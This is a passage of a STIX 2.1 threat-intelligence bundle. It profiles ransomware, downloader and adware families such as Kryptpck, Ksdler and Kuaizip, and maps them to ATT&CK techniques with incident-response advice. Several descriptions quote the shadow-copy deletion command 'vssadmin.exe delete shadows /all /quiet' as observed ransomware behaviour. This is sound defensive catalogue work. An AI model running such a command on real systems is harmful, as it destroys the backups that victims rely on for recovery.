      "source_ref": "malware--cd61925f-42c7-5f20-99a4-50ebbd4981b9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krunchy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3f40d8b-fecf-5d02-8a42-7fb6a310844b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd61925f-42c7-5f20-99a4-50ebbd4981b9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krunchy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6bada8a-eda6-5097-8b0d-468ec8aa76c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd61925f-42c7-5f20-99a4-50ebbd4981b9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krunchy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1aab98ee-830b-5596-9957-8423df0ab802",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd61925f-42c7-5f20-99a4-50ebbd4981b9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krunchy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dca8bcb-13b7-5fce-89b3-ee0e203dba30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd61925f-42c7-5f20-99a4-50ebbd4981b9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krunchy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ead16473-7119-5734-a8f1-512357ddb959",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kryptpck",
      "description": "<h3>Executive Summary</h3>\nKryptpck (often a variant identifier for Cryptolocker-style ransomware or generic heavily packed ransomware) is a highly destructive malware family engineered for rapid financial extortion. Operating as a Cryptovirus, Kryptpck infiltrates Windows systems, utilizes strong, unbreakable military-grade encryption algorithms to lock down the victim's critical data, and demands a ransom payment (usually in cryptocurrency) in exchange for the decryption key.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKryptpck is predominantly distributed via highly targeted spear-phishing campaigns containing weaponized Office documents (macros) or malicious JavaScript attachments. It is also frequently deployed as a secondary payload by initial access brokers who have compromised networks via exposed RDP instances or unpatched VPN gateways.\n\nOnce executed, Kryptpck operates with devastating efficiency:\n<ul>\n<li><strong>Evasion and Packing:</strong> The \"pck\" in the name often refers to the malware's use of custom, complex software \"packers.\" These packers encrypt or obfuscate the core ransomware executable, hiding it from static antivirus signatures until it is loaded directly into system memory.</li>\n<li><strong>Rapid File Encryption:</strong> The ransomware immediately begins scanning local drives, removable media, and importantly, all mapped and unmapped network shares. It targets specific file extensions (documents, databases, images, archives) and encrypts them using a hybrid encryption scheme (typically AES for the files, with the AES key encrypted via an RSA public key).</li>\n<li><strong>Shadow Copy Deletion:</strong> To prevent easy recovery, Kryptpck almost universally executes commands (like `vssadmin.exe delete shadows /all /quiet`) to instantly destroy Windows Volume Shadow Copies and disable local backup routines.</li>\n<li><strong>Extortion:</strong> After the encryption phase is complete, it drops a ransom note (often a `.txt` or `.html` file) in every affected directory, outlining the payment instructions and threatening permanent data loss.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kryptpck infection is a catastrophic security incident resulting in immediate, catastrophic operational downtime and massive data loss. Due to the strength of modern encryption, files cannot be recovered without the private key or a viable offline backup.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Physical Isolation:</strong> Disconnect the infected machine from the network immediately (pull the Ethernet cable/disable Wi-Fi) to halt the encryption process and prevent the ransomware from traversing SMB shares to encrypt centralized file servers.</li>\n<li><strong>Do Not Reboot:</strong> Leave the machine powered on. Rebooting may trigger further destructive routines or destroy the encryption key if it temporarily resides in RAM.</li>\n<li><strong>Restore from Offline Backups:</strong> The only reliable remediation is to completely wipe the infected system (bare-metal reinstall) and restore the data from secure, offline backups that were unreachable by the ransomware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Kryptpck",
        "Trojan-Ransom.Win32.Kryptpck",
        "Packed.Kryptpck"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kryptpck",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kryptpck"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c8ad6ef-e56e-583d-b1c5-73d4f0d23318",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ead16473-7119-5734-a8f1-512357ddb959",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptpck exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44af574f-e0c2-5ea2-aa31-b45cb7782483",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ead16473-7119-5734-a8f1-512357ddb959",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptpck exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0366481e-23e7-5665-8713-bebbecca7523",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ead16473-7119-5734-a8f1-512357ddb959",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptpck exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ff36acf-8351-5d2c-87d0-71d66c46e587",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ead16473-7119-5734-a8f1-512357ddb959",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptpck exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cffb8df0-5572-5da3-aabc-f861aad7a0ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kryptstarter",
      "description": "<h3>Executive Summary</h3>\nKryptstarter (often referred to as Kryptik or Kryptik.Starter) is a generic classification for a malicious downloader or initial access dropper. Its primary function is to establish a foothold on a compromised system, disable basic security controls, and then download and execute a more dangerous secondary payload, such as ransomware or a banking trojan.\n\n<h3>Infection Mechanism and Behavior</h3>\nKryptstarter typically infiltrates networks via highly tailored spear-phishing emails containing malicious attachments or links to compromised websites hosting exploit kits. \n\nBecause it acts as an initial beachhead, Kryptstarter is designed for extreme stealth. It relies heavily on obfuscation, polymorphism, and packing techniques to mutate its code structure, rendering traditional signature-based antivirus detection largely ineffective. \n\nUpon execution, Kryptstarter performs rapid system reconnaissance to ensure it is not operating in a researcher's sandbox. It then establishes persistence (often via registry modifications) and reaches out to a hardcoded command-and-control (C2) server. The C2 server responds with the primary payload\u2014frequently an info-stealer like AgentTesla or a ransomware variant\u2014which Kryptstarter downloads and executes directly into memory (fileless execution) to further evade detection.\n\n<h3>Risk Assessment</h3>\nA Kryptstarter detection indicates a critical breach of the network perimeter. The malware itself is merely a conduit; the true risk lies in the secondary payload it delivers, which can lead to catastrophic data loss, financial theft, or operational paralysis.\n\n<h3>Incident Mitigation and Response</h3>\n<ul>\n<li><strong>Advanced Endpoint Protection:</strong> Rely on EDR platforms that utilize behavioral analysis and machine learning to detect the anomalous behaviors typical of droppers, such as `powershell.exe` being spawned by `winword.exe`.</li>\n<li><strong>Immediate Network Isolation:</strong> If Kryptstarter is detected, assume the secondary payload has already been delivered. Isolate the endpoint immediately to prevent lateral movement.</li>\n<li><strong>Forensic Investigation:</strong> Analyze the endpoint to determine exactly what secondary payload was downloaded and executed by the Kryptstarter component, and tailor the incident response accordingly.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kryptik",
        "Downloader.Kryptstarter",
        "Dropper.Kryptik"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kryptstarter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kryptstarter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--518c6dd1-bea5-5491-ad3c-07d28005f13f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffb8df0-5572-5da3-aabc-f861aad7a0ee",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptstarter exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86fe61b7-06e2-5209-9e5a-8be87ff76e44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffb8df0-5572-5da3-aabc-f861aad7a0ee",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptstarter exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b6c0647-70c5-53f5-9dd6-f3f4f63f5576",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffb8df0-5572-5da3-aabc-f861aad7a0ee",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptstarter exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a5d2c3c-0cf8-557f-be64-6e4e2ad609da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffb8df0-5572-5da3-aabc-f861aad7a0ee",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptstarter exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7ff7df6a-7da6-591e-aecb-b96af0a0e12d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kryptyk",
      "description": "Ransomware:Win32/Kryptyk is a classification indicating the presence of a ransomware payload or a precursor trojan specifically designed to facilitate a ransomware infection. Its primary objective is to encrypt the victim's files using strong cryptographic algorithms (`T1486`) and extort cryptocurrency (like Bitcoin) in exchange for the decryption key, causing severe operational disruption and financial loss.<br><br><b>Understanding Kryptyk (Ransomware)</b><br>To an end-user, a Kryptyk infection is catastrophic. They will suddenly find their documents, photos, and databases inaccessible, often appended with a new, random file extension, accompanied by a stark 'Ransom Note' on the desktop. For an organization, it represents a critical incident requiring immediate network isolation to prevent the ransomware from spreading to file shares and other endpoints.<br><br><b>Execution and Encryption Mechanics</b><br>Kryptyk is typically delivered via phishing campaigns containing weaponized attachments, or manually deployed by attackers who have compromised the network via exposed RDP ports. Upon execution, it often deletes Volume Shadow Copies (`vssadmin.exe delete shadows`) (`T1490`) to prevent easy data recovery. It then rapidly traverses local drives and mapped network shares, utilizing algorithms like AES or ChaCha20 to encrypt files. The malware generates a unique encryption key for the victim, which is then encrypted with the attacker's public RSA key and sent to the C2 server, ensuring only the attacker holds the private key required for decryption.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total loss of data availability. Host-based IoCs are highly visible: the sudden renaming of thousands of files, the presence of ransom notes (e.g., `DECRYPT_FILES.txt` or `.html`), and EDR alerts for rapid, high-volume file modification operations. System logs will show the execution of commands designed to inhibit system recovery (`vssadmin`, `bcdedit`). Network IoCs include a brief burst of traffic to a C2 server (often over Tor or to compromised domains) as the malware reports the infection and transmits the victim's unique ID. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kryptyk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kryptyk"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a54a696-39bf-5e3d-9603-f26a72882c77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ff7df6a-7da6-591e-aecb-b96af0a0e12d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptyk exhibits technique T1486 (Data Encrypted for Impact (The core function of the ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--269937dc-2ffb-5c27-8039-b355b1656be0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ff7df6a-7da6-591e-aecb-b96af0a0e12d",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptyk exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies to prevent restoration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db57da27-e4b5-5b34-b8a0-6bdf7ddb5501",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ff7df6a-7da6-591e-aecb-b96af0a0e12d",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kryptyk exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--936e4580-ed2e-5f47-9bcc-79d5ae36e79d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ksdler",
      "description": "TrojanDownloader:Win32/Ksdler is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ksdler</b><br>To an end-user, a Ksdler infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ksdler is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ksdler is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ksdler frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ksdler reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ksdler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ksdler"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51339cdc-5b10-537d-a2d2-7e1db6c3f059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--936e4580-ed2e-5f47-9bcc-79d5ae36e79d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ksdler exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--702af844-7f3b-5e9d-b129-87dd5d4b29bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--936e4580-ed2e-5f47-9bcc-79d5ae36e79d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ksdler exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--088f8d58-d81a-5dae-b06e-9273ec40ce55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--936e4580-ed2e-5f47-9bcc-79d5ae36e79d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ksdler exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a111b8c-6f96-560b-bb31-c78cab665842",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--936e4580-ed2e-5f47-9bcc-79d5ae36e79d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ksdler exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67f7149d-111a-5034-8433-7125b812b31c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--936e4580-ed2e-5f47-9bcc-79d5ae36e79d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ksdler exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab12c10f-6629-5918-aee2-965ede7b0a3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kuaiba",
      "description": "Kuaiba (cataloged across antivirus vendors under signatures including Adware:Win32/Kuaiba, PUA:Win32/Kuaiba, and Program:Win32/Kuaiba) is a deceptive game distribution client and aggressive adware framework originating in China and active since 2013. Marketed as a fast game downloader and launcher utility, Kuaiba surreptitiously modifies host desktop environments and network configurations. Upon execution, Kuaiba creates autostart registry entries under CurrentVersion\\Run, alters default web browser search engines, modifies browser desktop shortcut targets by appending monetization query parameters, and schedules recurring background maintenance tasks. The software downloads and displays unsolicited game advertisements, promotional pop-up dialogues, and affiliate software installers without explicit user consent, degrading operating system performance and transmitting telemetry regarding installed gaming software to remote analytics endpoints. (Observed samples in benchmark: 53)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Kuaiba",
        "PUA:Win32/Kuaiba",
        "Program:Win32/Kuaiba",
        "Kuaiba Game Box"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kuaiba",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kuaiba"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f0c7bae-6e76-517f-a5d6-893750a8f343",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab12c10f-6629-5918-aee2-965ede7b0a3c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaiba exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a653341c-cf1a-5522-9585-6835372ba6da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab12c10f-6629-5918-aee2-965ede7b0a3c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaiba exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40673bf9-562f-5cdc-9cf5-325c47d8ae6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab12c10f-6629-5918-aee2-965ede7b0a3c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaiba exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84d0d41d-1f45-5eac-b485-f5ccea42ac20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab12c10f-6629-5918-aee2-965ede7b0a3c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaiba exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a60bfea-765c-5310-9979-8d0e34625e8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab12c10f-6629-5918-aee2-965ede7b0a3c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaiba exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--559914cf-f2cc-5e81-a261-3546c09c02cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kuaizip",
      "description": "KuaiZip (cataloged across antimalware engines as PUA:Win32/KuaiZip, Adware:Win32/KuaiZip, and PUP.Optional.KuaiZip, also known as KuaiYa) is a rogue compression utility and aggressive adware distributor that surfaced across third-party software download portals. While ostensibly functioning as an archive manager supporting ZIP, RAR, and 7Z formats, KuaiZip aggressively hijacks default system file associations without user consent, ensuring the utility intercepts all archive opening actions. Operating with background updater services, KuaiZip injects desktop popup banners, redirects web browser searches to monetized promotional domains, and silently downloads unauthorized secondary bloatware and cryptocurrency mining components. (Observed samples in benchmark: 483)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/KuaiZip",
        "Adware:Win32/KuaiZip",
        "PUP.Optional.KuaiZip",
        "Win32/KuaiZip.Adware",
        "KuaiYa.Archiver"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kuaizip",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kuaizip"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82f4a0d5-b1d6-5ce1-8611-51aceddb15d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--559914cf-f2cc-5e81-a261-3546c09c02cc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaizip exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--660a6947-7fbf-5193-9f89-e1a12452af17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--559914cf-f2cc-5e81-a261-3546c09c02cc",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaizip exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5edc78fb-4ccf-5a41-8c23-6e8044fabfb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--559914cf-f2cc-5e81-a261-3546c09c02cc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kuaizip exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59e94c30-5d7e-5454-8153-2631d7b95ee7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--559914cf-f2cc-5e81-a261-3546c09c02cc",
